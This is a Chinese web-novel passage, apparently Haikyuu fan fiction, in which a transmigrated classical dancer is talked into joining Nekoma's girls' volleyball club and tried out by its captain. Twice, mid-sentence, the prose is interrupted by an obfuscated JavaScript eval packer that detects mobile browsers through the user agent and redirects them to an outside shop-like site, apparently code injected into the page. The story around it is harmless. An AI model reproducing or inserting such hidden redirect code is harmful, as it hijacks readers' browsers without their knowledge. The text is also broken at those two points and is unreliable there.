《【综漫】谈恋爱不如夺冠》 1. 第 1 章 音驹高校开学一周后,新生大概摸清校园后的重头戏就是社团招新。 佐川麻美手上抱着一叠社团介绍,笑容殷勤。 “学妹,女子排球有兴趣吗?” 迎面遇到但凡身高条件好一点的女孩子她都会上去问一问。要不是排球运动实在不适合太矮的人,以她生怕放过任何可能性的心态,是每一个都要询问到的。纵使她笑容热情,态度积极,然而接下她传单的人仍寥寥无几。 其实也不怪别人,佐川麻美手上的传单又一次被学妹婉拒后,她不由苦笑。 音驹高校的排球社团分为男排和女排,过去两个都曾经辉煌过,“曾经”——都是过去的事情了,如今不过是没落的豪强罢了。 她沮丧地长长叹气,心情低落,招新的工作她主动揽下,之前在学姐们面前再三拍胸脯保证绝对会给社团拉来新人,但是没落的社团,怎么能和过去同日而与呢。 这都是太正常不过的人之常情。 这是人之常情。如果不是在国中时期就接触过排球、本身有兴趣,一般女生不会选择在高中加入一个陌生的运动社团。 运动社团又累又苦,想要出成绩更有门槛。而有排球基础的人,也更不会选择音驹——国中时的排球好手,往往会选择排球名声更响的高校。 比如枭谷学园,或是宫城县的新山女子高校,那里的女排是上届全国大赛的冠军。 把以上两种情况都排除,现在似乎会选择她们音驹女排的只有,已经进了音驹高中而后突然对排球感兴趣的人了。 不然无法解释怎么眼瞎到想加入她们。 【“今年要是能招到能上场的好苗子就好了。”】音驹女排的队长黑尾铁纱和同伴们半开玩笑半认真说,二传手泷枝子翻白眼打击说许愿去寺庙比较好。 佐川麻美心知肚明这话没错。 即使有新生出于礼貌接下传单、敷衍说“会考虑”,她们真的去排球部体验,如果完全没有天分,丝毫无成就感可言,缺乏正向反馈,热情就会悄无声息浇灭。 以前有过这样的女孩子,不少,在音驹曾经成绩斐然时更多,一开始满怀希望,而后在某一天悄悄递交了退部申请书,再也不见踪影。 而今年音驹的情况更加严峻,去年的主力三年级,在今年升学时退部了几个人导致现在上场的配置都凑不齐。 尤其是自由人位置,随着学姐离队,今年连替补都没有。 别看她现在招新生时来者不拒,实际上真正能派上用场的新人,必须是对排球有兴趣、甚至有一定天分的。而要挖掘这样一个“紫微星”? 简直如同中彩票般困难。 音驹有“猫”之称,校名发音里“neko”和猫的发音一致,而音驹也与猫结缘,校园里随处可见的猫咪们已是学校一景。 现在麻美脚下的一只橘猫,因为经常大胆找学生碰瓷、蹭吃蹭喝是熟面孔,它毛色鲜亮,师生称呼它为“小橘子”。 招新进度条为零,佐川麻美心情糟糕。 被接连拒绝的感觉并不好,她心累地蹲下身,手底有一搭没一搭抚摸磨蹭到她脚边撒娇讨吃的小橘猫软乎乎的肚子。 校园的小猫都不怕人,就着她的手指四肢朝天暴露毫无防备的腹部。 “要是招不到人,社团活动就不能继续了啊……”她低声自语。 音驹学生手册二十四条规定:社团活动要在每学年至少有一个新部员的情况下才可获得许可*。 所以如果没有新部员,别说晋级全国大赛、春高和老对手们一雪前耻了,她们从入场就失去资格。 这一点让佐川麻美几乎要着急地哭出来。 佐川麻美是高二学生,离毕业还有一年,表面上看,似乎哪怕今年她不参加也还有明年,然而她考虑的不光自己。 社团里的其他学姐们,包括部长黑尾铁纱都是今年升的高三。去年她们含恨败退,立志今年雪耻复仇,难道今年就要因为她招新的无能,而让学姐们最后一年以如此可笑的理由不能上场就失败吗? 她可以做些什么,求求老天,哪怕只有一个新生,也请看看她们社团吧。 佐川麻美这样祈求着。 上天听没听到不知道,小橘子却像是真的听到了些动静,在她手底下突然不安分,一个翻身回正身体,动作灵巧,顽皮地咬住她随手放在地上的传单,头也不回往一个方向跑去。 “小橘子,回来啊。” 麻美赶紧追上去。因为预计不会有多少人接传单,为了节省经费——学校拨给社团的经费与社团成绩挂钩,女排去年成绩平平,今年经费被大幅削减——她印制的传单本就不多。除了已经发出去的,剩下的几张全在小橘子嘴里。 她必须追上这个小捣蛋鬼,救下这些仅存的珍贵物料。 希望不会太晚,不被弄得太脏,也不被小祖宗口水完全浸湿到不能看,麻美大喊它的名字一边上气不接下气拼命跟着跑。 招新除了今天之外还有一天,她还指望多发几个人,碰碰运气呢。 招新的社团们的摊位熙熙攘攘挤满校门口附近的公共空地区,如果小橘子故意往人堆里钻,这么多人佐川麻美大抵是很难在拥挤的人群里抓住这个捣蛋鬼,幸而它奔去的方向是和人流量相反的树丛,在树丛之后是一片樱花林。 也是音驹一景。 四月份开学,樱花大片大片开得繁茂。 佐川麻美跟着小橘子的路径,一路穿过灌木。 这只小橘猫似乎也跑倦了了,停下忙碌的脚步,像和之前对着麻美撒娇讨吃的模样一般,它钻到不远处树底下一个女孩的脚底下。 “你这只小坏猫!”麻美跑得脸通红,她气喘吁吁扶着膝盖,盯着趴在地上弓着背脊伸懒腰的小猫。她这时才注意到一个女孩正半蹲着侧着身子,手里掐着纤长的草叶逗弄着小橘子。 察觉到她来的动静,这个女孩子转过脸朝着麻美的方向投来视线。 麻美惊愕地看着那个女孩子。 她太美丽了。 她从来没有见过这么好看的孩子。 长长的黑发像一匹绸缎披在她背脊,瓜子脸上下巴尖尖,脖颈纤细,肩膀瘦削,肤色白皙清透,麻美不禁想起了家里妈妈从中国带回来的一套瓷器,她和它们一样有着脆弱的美丽感。 有这样的联想是因为少女此刻面色比平常人更加苍白,神色忧郁,一双细细的眉毛似颦非颦,让人不禁心生怜惜。 她站直身体,麻美发现这女生身量颇高——相较于一般女生,据调查日本女性平均身高为158cm。 而这个女孩,麻美以自己一米七二的身高为基准目测,她大概有168cm上下,四肢修长。 【她一定是新生。】 麻美想。 因为她从来没在学校里看见过这个女孩,她并非应当认识学校的每一个女生,但这样姿容出色的女孩,照理说不应当毫无记忆。 这般极盛的容貌,如果是老生,早就在论坛引起轩然大波。 除非她是一年级刚刚入学的新生。 既然是新生......麻美不想放弃任何希望,顶着压力鼓起勇气。对太好看的人搭话感觉格外冒昧,她走上前主动开口道:“是新生学妹吗?你好啊。” 少女望着她默不作声,如果是一般活泼的学生就顺着学姐的话从善如流打招呼作自我介绍了,而眼前少女却并不遵循日本的社交惯例,依旧沉默,目光静静打量她。 佐川麻美心下说糟糕,果然这样的人都是有性格的,但话已出口,此时冷场离开反而更尴尬,她只得硬着头皮继续:“咳咳,学妹,我是高二的佐川麻美。今天是社团招新的日子,你不去看社团,在这里干什么呢?” 【没想到躲在这里也会遇见人啊……】 我垂眸,轻轻叹气。 不想主动开口并非我故意让这个女生难堪,说来理由也奇幻,我不想开口说我的名字。 竟是因为在前些日子,这还不是我的名字。 所以现在开口多少几分难以启齿。 我是一个穿越者。 醒来发现自己来到了这个可能是平行世界的世界。 认为是平行世界是因为这幅身体及父母的长相和我原先都一般无二,只是年纪上年轻了些,这看来是我白赚了些光阴,多少人梦寐以求回到青春少年时。 但令我不满的是,平白的还给我改了国籍,明明是一样的父母,大家却都顶着日本名儿了。 搞得我好不自在,也难以把我的新名字自如说出。 川合莉莉香。 见女生被冷待依旧不放弃向我搭话,日本崇尚纵向文化,先入学的“前辈”和后入学的“后辈”之间有明显而严格的序列,这种文化特征表现在必须使用敬语对学长学姐称呼,我之前没有主动介绍自己放在这种文化下显得已经不懂事。 幸而这女生脾气颇好,好像没有在意。我甚至觉得她和善得过分,我穿越前看过不少日韩校园霸凌的影视剧,对前后辈文化有所耳闻,既然她主动开口介绍自己,我继续冷漠就真的太没礼貌。 我:“我是今年入学的新生,我叫——”我顿了一下,一番心理建后设慢慢说出,“川合莉莉香。” “骗人!”麻美惊呼。 我:“......” 麻美尴尬摆手,解释道:“我不是说你骗人,就是,就是——”她犹犹豫豫,“这个名字也太诈骗了吧。” 她欲言又止,我并不惊讶。 并非仅她一人听到我的名字有这样的反应,在班级入学自我介绍环节,几乎所有人都是同样复杂纠结。 这也是为何我如此抵触我新名字甚至回避开口提起的缘故 这个名字跟我根本不相符。 在日语里姓氏“川合”的发音和日语词汇“可爱”kawaii相当近似,而“莉莉香”这个名字听起来更觉得是一个性格活泼可爱,被娇宠着的女孩。 如此名和姓,与我,完全不搭边。 我像是偷了别人的名字,强行冠在我头上。 不过这也是真相,如果将不同平行世界的同一个人视为不同个体,我确实“偷”走了这个世界,这个真正父母宠爱着的,正值青春,性格理应柔软可人的川合莉莉香小姑娘的人生。 但我有什么办法呢。 就像我对他们的反应和看法也一样无可奈何。 我说:“学姐,没什么事我就先走了行吧。” “诶,等等嘛!” 麻美不甘心就这样结束对话,又往前走了几步,越靠近,她越能比较出这个学妹身高和体型上突出的优势,好看的人身体也是美的,肩背舒展,线条流畅。 麻美招新,对每个个高的女生都会多看一眼。 对川合莉莉香,她自然不止多看一眼,而是好几眼,目光几乎移不开。 她又把刚刚的问题重新抛出来:“川合学妹,你怎么不去招新那块呢?” 如果是她,想想就知道只要她愿意出现,争先恐后招揽她的社团必定很多,即便她什么都不会,凭着脸戏剧社都会认定她是天选女主角。 于是麻美不认为她的独处是被拒绝,她想当然自作主张替川合莉莉香找了理由。 “是能够选择的太多,所以不知道选择哪个吗?” 我失笑:“我看起来像是很受欢迎的人吗?” 在班上已经被腹诽性格孤僻古怪这件事我心里太清楚了,因为不习惯日本礼仪,有时候还要加上“没礼貌”的评价。 见她有和我长聊的打算,我整理制服的裙子往地上坐下:“我只是不想过去罢了。” “学生社团这种东西,也太麻烦了。” 日本和中国这点很不一样,高中生竟然不要求专心致志搞学习就够了,要求每个人必须参加社团,且社团活动占相当学分。 我把头搁在屈起的膝盖上,“刚刚是有一个学长非要拉我去戏剧部,可我不想去。” 麻美了然,“可以理解,戏剧社力争把每一个长得好的白菜都薅进他们地里,不管会不会演戏。” 麻美翻了个白眼,想起了校园祭上戏剧社节目里某些人蹩脚的演技,事实证明再帅的男的演技油里油气都会变得面目可憎。 “不过,你去戏剧社也蛮好的。”真美丽啊,麻美又瞥了一眼川合莉莉香,怕她发现连忙移开视线,她当然不想她真选择戏剧社。 毕竟她心里正酝酿一个念头。 然而麻美的性格又不容许她昧着良心说川合莉莉香不适合戏剧社,哪怕她的演技和屎一样,麻美心说,如果川合莉莉香是明星,那她就愿意做她的颜粉。 这样的人,天生就该在舞台上熠熠生辉。 思及此,佐川麻美话到嘴边又有几分瑟缩。 排球社训练又脏又累,远不如戏剧社这种地方光鲜亮丽。 “哈哈,不过你既然不想去戏剧社也是不喜欢,怎么其他的,你没有感兴趣的吗?” 我看了她一眼,“有......” 我又改口道。 “没有。” 这是一句假话。 事实上,我所热爱的在这个学校,乃至这个国家都不存在。 穿越前,我是一个舞蹈生。 因为身体条件,从很小就学习跳舞,打从记事起就在练功房里泡着,舞蹈一行本就吃童子功,从少年宫跳到舞蹈学院,再跳到剧团,一直在中国古典舞方向深造。 平转、点步翻身、倒踢紫金冠、云桥……那个舞台才是我的战场,是我爱之所在。 除了跳舞,没干过别的。 但穿越后,世界变了,国籍变了,环境和资源 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17218633|197470||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 也不再支持我重走熟悉的路。 甚至因为没有从小训练,我很清楚——我的关节、韧带、肌肉都无法适应前世专业舞蹈的极致要求。这副高中生的身体已经定型,像一些极限的软开度和关节形态,我几乎不可能达到前世那种童子功的水平。 不能不感到遗憾。 即便我依然记得所有技术与要领,这里也没有我熟悉的舞台了。 佐川麻美:“不可能,人都有感兴趣的,多多少少都会有的。” 她话语笃定,我只得又说:“好吧,我喜欢跳舞。” “啊——”麻美摸摸头,苦恼道,“这还真难办了。” “音驹确实没有舞蹈社呢。”她说,“不过果然是很棒的爱好呢,舞蹈很适合你哦。”爽朗的女孩伸出大拇指,“美女就应该优雅闪亮地跳舞吧。” 麻美低头瞅了瞅自己的运动套装,音驹女排配备的运动服是粉红色的,但即便是粉嫩嫩的颜色为了方便运动款式也还是平平无奇的运动款。 “和你相比,觉得自己粗莽了许多呢。” 我噗嗤被逗笑:“学姐,你好可爱啊。” 我自觉是一个性格不讨人喜欢的人,但会讨人喜欢的人是什么样我是知道的,眼前的女生大方开朗,情绪都摆在脸上,却毫无坏心,从出现主动和我搭话,无时无刻向我传递友好的善意。她是学姐却热情主动,一般遇见我这种,她本没有义务一直迁就我这样冷淡的人。 这种不让话掉在地上、不让人尴尬的相处方式,越经历越觉得是一种温柔。 有些人说话刻薄,丝毫不给人留情面。 我被她的情绪感染,不禁也有了说话的兴致:“你好像对跳舞有点误解哦。” “其实跳舞也不是什么优雅闪亮的活计。”我笑眯眯,“你知道吗?舞蹈演员的舞鞋不光脚底板黑黑的,还很臭哦。” 想想也知道吧,一直在运动出汗的脚怎么可能香香的。 再漂亮的白天鹅其实训练时都会散发汗臭味,小说里香汗淋漓现实并不存在。 “跳舞,很苦很累的,也是灰头土脸的。” “哦——”佐川麻美似懂非懂。 学妹刚刚笑了。 她笑的时候萦绕在她身边的郁气像是散去了些,又像是一缕轻柔的晨光破开云雾。 【她是真的很喜欢跳舞啊。】麻美这样想。 因为只有提到自己爱的事物,她才会露出这样的表情吧。 佐川麻美常被人说是一个心思浅白,脑子里只装得下排球的笨蛋。 但就是笨蛋,才会第一眼看到川合莉莉香,才觉得这个女孩寂寞得有些过分了。 像是自己把全世界隔绝在外,拒绝着所有人。 她想让川合莉莉香少露出那样落寞的神情。 佐川麻美给自己找了藉口——因为我是一个耿直的颜狗啊。 “跳舞,难道是探戈之类的吗?”麻美说罢兴冲冲站起来,抬起手左右移动几步,又自觉不像样,发现我看着她,这才后知后觉升起几分少女的羞涩,红脸道:“不好意思啊,我对探戈之类的印象就是,三步一回头趟啊趟啊走。” 我:“哈哈哈哈哈哈。” “学妹!”佐川麻美跺脚,“我知道我说错了啦!” “没有没有。”我拊掌附和,“你说的一点都没错,探戈就是那样的啦。” 佐川麻美:“......所以你不是喜欢探戈的吧。” 我:“额——” “快告诉我啦!”她张牙舞爪扑过来。 “好吧好吧。”我闪身躲避她的动作,我没有生气,相反很喜欢这样热情可爱的小姑娘,因而难得愿意顺着她的意思,真的站起身给她演示起来。 “不是探戈啦。” 探戈我也会,古典舞的基础训练结合芭蕾舞,刚开始打基础时不知道专修什么舞种时也学了国标,国标舞十项包括摩登舞和拉丁舞各五种,探戈只是其中摩登舞的一种。 我稍稍活动手脚,我抬手作出虚揽舞伴动作,脚下交叉步、踢腿、跳跃,仿佛伴着明快的音乐,舞步快的竟然眼花缭乱。 明明是跳跃,上身却一点稳定,脚下动作干净利索。 我不是专业国标生,但是摆起架子糊弄外行人是够了的。 “所以嘛,你说的一点都没错啊,探戈就是趟啊趟啊。”我眉眼弯弯。 而佐川麻美确实被我唬住,巴掌鼓得啪啪作响。 “好厉害!” “你还说你不是喜欢探戈?”她不服气,“你跳得这么好!” 我突然心头浮上几分不甘。 我是不想在异国谈论独属中国的古典舞,它在中国才能被建构、被认同,是体现我们中国古典美学精神的舞蹈体系。 同样都叫古典舞,中国的古典舞就和印度的古典舞天壤之别,它不仅是艺术,更是文化。 但此时此刻,被称赞探戈好的我却莫名不高兴了。 ——你都不知道,我真正擅长的东西,它有多么好。 我微微一笑:“这就算好了吗?那我给你看个厉害的。” 深深呼气,手指挽花,一个抬腿踢到身前离脸几公分高度,紧接前桥翻身。 若流风之回雪,灵动纤柔。 佐川麻美惊呆了,这一点不奇怪,震惊她的不是我,是我们积淀千年的传统文化瑰宝的魅力。 这是我骄傲的东西啊。 而我不知道的是,这个怔愣的女孩,盯着我,除了惊叹还在想着别的事情。 佐川麻美确实抓住了别的东西。 黑尾铁纱曾说竞技有些东西是共通的,她曾经不解其意。 反应能力、运动神经……这些优秀身体素质条件在任何一项竞技项目中都是存在的。 川合莉莉香是一个非常优秀的舞者,哪怕几个简单的动作,迎面扑来的气势已经势不可挡。 这是一种“势”。 但更重要的东西,佐川麻美思忖,要铺垫她完成这些动作的基础——是强大的上身核心力量和腿部力量,精准的肌肉控制,优秀的弹跳能力......甚至还有舞者突出于其他运动的要求——身体的协调性和柔软度。 而这些......是不是能成为排球场上的武器呢? “川合学妹!!”佐川学姐激动地握住我的手,满眼星星地看着我,“学校没有舞蹈社真是太好了!” 我:“?” 姐妹,你刚刚还不是这个态度啊! 我不明所以,一头雾水。 “啊,我的意思不是这个。” 麻美不小心把真心话说出来,趁川合莉莉香还没反应过来她赶紧糊弄过去,“我的意思是,你有没有兴趣,尝试一个新社团。” “女子排球社!!” “我保证你会合适的!!” 2. 第 2 章 佐川麻美一边说着,一边不由分说地拉住我的手腕向前走。 我完全没料到这个女孩会突然行动,以至于连挣扎都忘了。她看起来就是这样的人,想到什么就会立刻去做,行动永远快过思考。 等我回过神来,已经被她带出去好几步。 到底是运动少女,力气不小,拉我走得毫不费力。 “什么排球社啊。” 我翻动手腕,轻松把手从她手底下解救出来。拼力气死拽我肯定赢不过她,而且也会拉得我很痛,但是我的秘诀在于“灵巧”,舞蹈动作讲究在细微处的变化,因此我很容易找到她抓住我时的空隙。 我有些无奈,不知她为何会产生这种念头。但她实在是个讨人喜欢的女孩,我读书时见到这样明朗的女生也会喜欢。 所以我没有强烈地不满,而是委婉说道:“不好意思学姐,我此前完全没有接触过排球。” “恐怕不适合参加女子排球社呢。” 佐川麻美定定看着我,却像是完全没听出我的推拒。我刚把手抽回,她又立刻牵了上来,这次握得更紧,生怕我跑掉一般。 她心情激动,除了起伏不定的胸口,和我连接的手心里有一层薄汗。 她的手湿湿润润。 “你没试过怎么知道自己不合适呢?”她语气自然,“川合学妹——” 佐川麻美已经把川合莉莉香当成自己的同社团的后辈,不管面前人态度,“莉莉香啊,”她亲昵得称呼着,好像她们认识许久了,并非今天第一次相遇。 佐川麻美在部里和泷枝子吵架,泷枝子就骂她头脑简单,想事情直来直去,像个傻瓜。可正是这种近乎固执的单纯,让她在认准一件事后,有着超乎常人的执着和韧性。 一旦她认为“应该这样”,便会心无旁骛、不达目的不罢休地去做。 “你讨厌排球吗?” 我被她盯着别扭,看得有些不自在,偏开视线。 我:“谈不上讨厌,就是,没印象吧。” 如果为了摆脱她,我知道最好的反应是强硬回复:“对,我就是不喜欢排球!” 理由随便可以找到很多,“不喜欢运动”,“不喜欢球和身体碰撞的疼痛”、“排球看上去很粗鲁”等等。 可面对她那双写满热爱与期待的眼睛,这些话我一句也说不出来。 她一定非常喜欢排球吧。 如果那样说,或许能让她放弃,但……她肯定会难过的。 所以我只能实话实说。 听到我的回答,佐川麻美长舒口气,“那你接触下,说不定就会喜欢的哦。” 她绽放一个大大的笑容。 她丝毫不怀疑排球的魅力。 “排球很有趣的!” 见我还在犹豫,她有几分强硬拽住我,“学生手册上写明必须加入一个社团,是有学分的。” 她狡黠说道,“你现在没有别的想加入的社团不是么?” “莉莉香,你有想做的事情吗?” 她自问自答,“应该是没有吧,如果有,我也不会在这里看到一个人的你了。” “那么,为什么不和我一起去试试呢?反正又不亏。” “你真不喜欢,再退出就是了。” 【不过她应该是不会给她退出的机会的。】 佐川麻美在心底默默说。 她是一个相信缘分的人,从看见川合莉莉香第一眼,她就觉得她们是有缘分的。 后来川合莉莉香在排球上大放异彩后她自得地把这个论断说给社团其他人,说自己的第六感有多么准确时招来一众殴打: “你丫就是纯粹颜控啊!” 她说的也有道理。 我这时确实没有很好拒绝她的理由。 “……好吧。”我终于点了点头,“那就……去看看。” 我态度松软下来,佐川麻美眼睛更亮,如果她头顶有一朵小花,我几乎能幻视这朵花“蹦跶”在她脑门上绽开,她握紧我的手用力摇了摇。 “走吧走吧!” 我对这个性格的人一直束手无策,尤其是她笑得实在像个小太阳,毫无阴霾,我的同意是这么让她高兴的事情吗? 我盯着她的笑颜,对自己要不要待在排球社并不抱太多希望。 我除了跳舞,什么都不会。 所以我也觉得我打不好排球。 可是她怎么能,怎么能,比我自己还觉得我行呢? 音驹高校在体育设施上经费相当充裕,具体就是学校有七个体育馆。女排和男排各占一个,毗邻而立。 “部长,我找到新人了!!!” 体育馆里正在进行训练,佐川麻美兴奋的声音未进门就先声夺人响遍偌大场馆。 来的路上,她再三对我说不用客气,直接叫名字就好,最好是亲昵一点的称呼,这样能更快拉近距离。作为学姐,她态度亲切,毫无架子,我也就顺着她的心意。短短一段路,我俩的称呼就从生疏的“学姐”、“学妹”,变成了“麻美学姐”和“莉莉”。 在日本,通常以姓氏相称,关系再好些会去掉敬称,而直接喊名字已是相当亲密。可她似乎还嫌不够,甚至给我起了昵称。 “我只是过来看看……”我有些无奈地提醒,声音却几乎被她的嗓门盖过。 在她的招呼声中,一个身形高挑的女生从网前走了过来。 黑黑的短发,因为睡姿缘故,并不规整,背后不老实地翘起一缕。眼睛半睁着,半睡半醒似得,感觉慵懒随意。 关键是她真的很高。麻美学姐在我眼里已经算高个子了,超过一米七,我168的身高在女生中也不算矮,但眼前这个女生比麻美学姐还要高出不少,直奔一米八以上。 整个人就像一只优雅而疏懒的肉食动物。 我想把她比作猛虎或者别的更有气势的动物,但瞥见她不羁的发型,还是黑猫吧。 如果可以想帮她梳梳毛。 “我是音驹女子排球部的部长,黑尾铁纱。”她懒懒的伸出一只手,我和她握手后,“学姐好,我是一年三组的川合莉莉香。”她看着我,“你就是想加入的新生吗?” 我摇摇头:“还没有决定。” 注意到身侧麻美学姐略带失望的眼神,我忙补上一句:“如果合适的话......加入也是有可能的。” 麻美学姐精神又振作起来。她就像一只情绪全写在脸上的小动物,让她失望,简直像在欺负无辜的小动物,让人于心不忍。 黑尾部长:“以前打过排球吗?” 我摇头。 她又问:“那现在喜欢排球吗?” 我挣扎了几秒,决定实话实说,我告诉她在今天之前我对排球完全没有任何印象,谈不上喜欢不喜欢。 我几乎能肉眼看到黑尾部长的额间冒出好几个井字,她一把拽过麻美学姐。 “佐川麻美!!你做事还能靠谱点吗?” 她掐住麻美学姐的手臂把她拖离我一段距离后,我留意到她快速瞅了我一眼,像是顾及我一样,努力压低自己愤怒的声线,“就算一定要找个新生入部,你也不能随便把人忽悠过来啊,人家完全是被你生拉过来啊!” “那倒也不完全是。”我打着圆场,“麻美学姐说排球很有趣,让我来试试。” 而我的理由并不能说服黑尾铁纱觉得我是自愿的,不够充分。 她们喜欢排球所以打排球,她们对很多人说过排球有趣,真的很有趣,但是这样就能够成功吸引那些人一起打排球了吗? 黑尾铁纱就是太了解自己的部员是什么德性才越发觉得眼前漂亮的少女并非真心,一来是佐川麻美风风火火,听风就是雨的性格绝对做得出为了招新率强拖一个学妹入部的事情,二来......黑尾铁纱深深望了一眼川合莉莉香。 她不愿意说自己是以貌取人的人,但这个少女确实和大汗淋漓的运动场太不适配。 而佐川麻美却顾不上黑尾铁纱粗暴的动作,反而满眼激动。 “部长,你听我说,莉莉她超有天分的。” 她凑近黑尾铁纱,“莉莉虽然没有打过排球,但是她好像是会跳舞的,运动神经反应能力还有跳跃......都超棒的说。” 黑尾部长的眼神瞬间变了。 这听起来......有点意思。 要知道运动社团最欢迎的就是潜力巨大的新人。黑尾铁纱担任女子排球部部长,而她的同胞哥哥黑尾铁朗在隔壁男子排球部。一墙之隔,但是两者相同的是——都有一颗振兴音驹,进军全国乃至夺冠的野心。 听哥哥说,男排那边物色到了一个身高条件极其优秀的新生。 女排这边也不能输,如果川合学妹有突出的才能,无疑能为她们的野心实现提供巨大推动力。 更何况——黑尾铁纱有更深层的忧虑。今年的比赛固然重要,但社团的延续同样关键。春高之后,包括她在内的一批高三主力就要引退了。排球部必须注入新鲜血液。 而且......谁来接过部长的担子呢? 高二的正选里虽有几位,但性格各有短板。眼前的佐川麻美就是其中之一,心思单纯直率,把部长之位交给她......会不会被其他学校欺负到死啊。 黑尾铁纱伸手隔着校服摸了一把川合莉莉香的腹部,小姑娘跳起,像遇到流氓一样用警惕的眼神看着她。 “呜呼~”她吹了一个轻佻的口哨,“少女不错,有腹肌哦。” “看你一副虚虚弱弱的样子,还以为你是弱不禁风的深闺大小姐呢。”她哂笑。 她摸那一把就是为了确认川合学妹的肌肉状态。排球的垫球动作,为了下盘的稳定,是屈膝两脚开立。川合莉莉香有腰腹力量,说明她核心力量很好,垫球姿势就越稳定。 我确实知道自己脸色不好,尤其不笑就显得越发难看。 但是我确实是有运动习惯的。 我不敢承认自己发现穿越后有一段时间仍就“贼心不死”,想尝试重新找回自己穿越前那样的身体条件。古典舞需要极强的控制力和爆发力,虽然柔韧力暂且慢慢来,但是为了加强肌肉控制的力量训练,比如器械和跳跃能力训练,比如跳绳,我都有在做的。 黑尾铁纱“轻薄”我后,绕到我身后把我向球场内部推了一把,“去加入试试。” 我莫名其妙看着她突然的决定。 好在旁边的麻美学姐迫不及待替我说出了心声:“部长,莉莉她是完全的新人啊,不先讲点理论吗?她现在什么都不懂啊。” 对啊,哪有人来了就叫一个新人上场啊,倒是先和我讲讲规则、站位啊。 “没必要。”黑尾 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17218634|197470||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 部长玩世不恭地挑眉对我说,“上场就是直观看看你的潜力,如果你根本没有天赋,那讲了也是白讲不是吗?” 她伸手朝着场内的几个学姐做了个手势,几个学姐看见了,立刻作出反应,五个人分成一边三个,一边两个。 两个那边留了一个空,看上去就是给我留的。 “3vs3,什么站位规则都不需要考虑。”她黑色的眼睛盯住我,“你只要记住一件事。” “排球是不让球落地的运动。” 好胡来的部长。 我外表看起来纤细柔弱,很多人第一眼会觉得我性格淡泊、与世无争。但我自己知道,我骨子里其实相当执拗,好胜心极强。 过去的十几年,我在舞蹈上顺风顺水。 小时候有大人对我说:“凭你的身体素质,做任何运动都可以手到擒来,感谢你选择了舞蹈。” 我确实不懂排球。 但这样让她小瞧也未免太不甘心了。 【虽然说无所谓了。】我咬牙,【就算我是新人这样轻慢的态度也太让人不爽了吧。】 我决心,要给黑尾部长一点震撼。 排球,无非也是运动的一种。 排球的规则我一窍不通,但是她那句话我听进去了——“排球是不让球落地的运动”。 所以,只要不让球落地就好了。 场上对面的学姐把球搞搞抛起,一个重击,球飞快划过一道残影向我直直飞来。 垫球的正确动作姿势,我不懂,但是只要知道不要让排球落地就好了,我的眼睛死死盯住空中向我靠近的球,向球坚定地伸出手。 “真是,好苗子啊。”佐川麻美听到黑尾铁纱在她身旁的感叹,立刻欣喜地附和,“对吧对吧。” “你知道川合莉莉香的优势在哪里吗?”黑尾铁纱指点她。 “川合她确实是跳舞的啊,”黑尾铁纱喟叹,“她比我们优势在,她除了脚下的动作,对手臂,腰腹等其他部位的控制也比我们要精细。”麻美顺着黑尾手指的方向看过去,“你看,她的身体非常协调,在一瞬间可以调整,这也意味着——” “——她可以用任何姿势触碰到球。” 排球用身体任何部位来击打,包括用脚,用头,用膝盖,包括身体的任何部分。 因为在排球规则中,队员的身体任何部位都允许触球。 “她体重也很轻,甚至可以一边滞空,一边变换动作。”看到川合莉莉香为了接一个球高高跃起后,在空中再去改变手的方向,甚至同时配合胯部的旋转。 身轻如燕是舞者的要求,但是对于打排球的运动员算不上优点,毕竟体重轻力量感就弱,击打力度差。但是对于川合莉莉香,在接球传球上却可以转化为优点,她可以高高跃起,像特技一样在空中做出华丽的动作。 就好像有一对羽翼在她脊背上。 黑尾铁纱激动地握拳。 有了川合的加入,音驹排球部的力量一定会大大增强的。 这是块原石啊。 一定要把她留下! 不过还有得练习呢,这份天赋活用的并不成熟。 已经觉得获取足够了信息的黑尾铁纱喊了暂停。 我抿着唇,心里并不满意。虽然能触到球,但击出的方向完全控制不住。球飞出去,还是算我们失分。我该做的,是把球稳稳送到队友手里。 排球,比我想象中难得多。而黑尾铁纱的表情看不出喜还是忧。 我也说不准她对我是否满意。我甚至想,她等会可能对我说:学妹你在这一行没天分,你放弃吧。 我牙齿轻咬唇瓣。 人真的很矛盾,明明说自己不合适的是我,但是不想听到从别人口中否定的话的也是我。 不想看到别人对自己失望,哪怕是陌生人,还是我。 “我的结论是——”黑尾铁纱故意拉长了声音,似乎是在欣赏我淡定伪装下的忐忑不安,她等了数秒,看我表情绷不住了才露出一个微笑。 “川合学妹,不,莉莉,恭喜你加入我们!” 麻美学姐有手揽住我的肩膀,周围的学姐一边擦汗一边态度和煦夸奖我刚才打得不错,听见有人提议我入部应该庆祝一下。然后黑尾铁纱狡辩说,零花钱用完了,只能请吃冰棍了...... 或许现在还谈不上爱。 我怔愣望着聚集在我旁边大声讨论要好好敲诈黑尾铁纱一顿——现在应该叫队长了,我看着这群少女年轻明亮的面孔,她们神采的眼睛出了神。 在她们的眸子里,对排球都是热爱。 【排球真的很有趣啊。】麻美学姐这么说时的表情很虔诚。 所以,在没有别的更好的选择下,我是可以把排球作为我下个阶段的对象去试试的对吧。 我对自己说。 真的决定暂别舞蹈,去走上了一条全新的道路。 我不知道我的选择对不对。舞蹈更多的记忆是在练功房里一个人的坚持,而排球是六个人的努力。 “莉莉,快走啦!”麻美学姐对着发呆的我大喊,“队长从她哥那里把他钱包偷了,等会请我们吃拉面!” 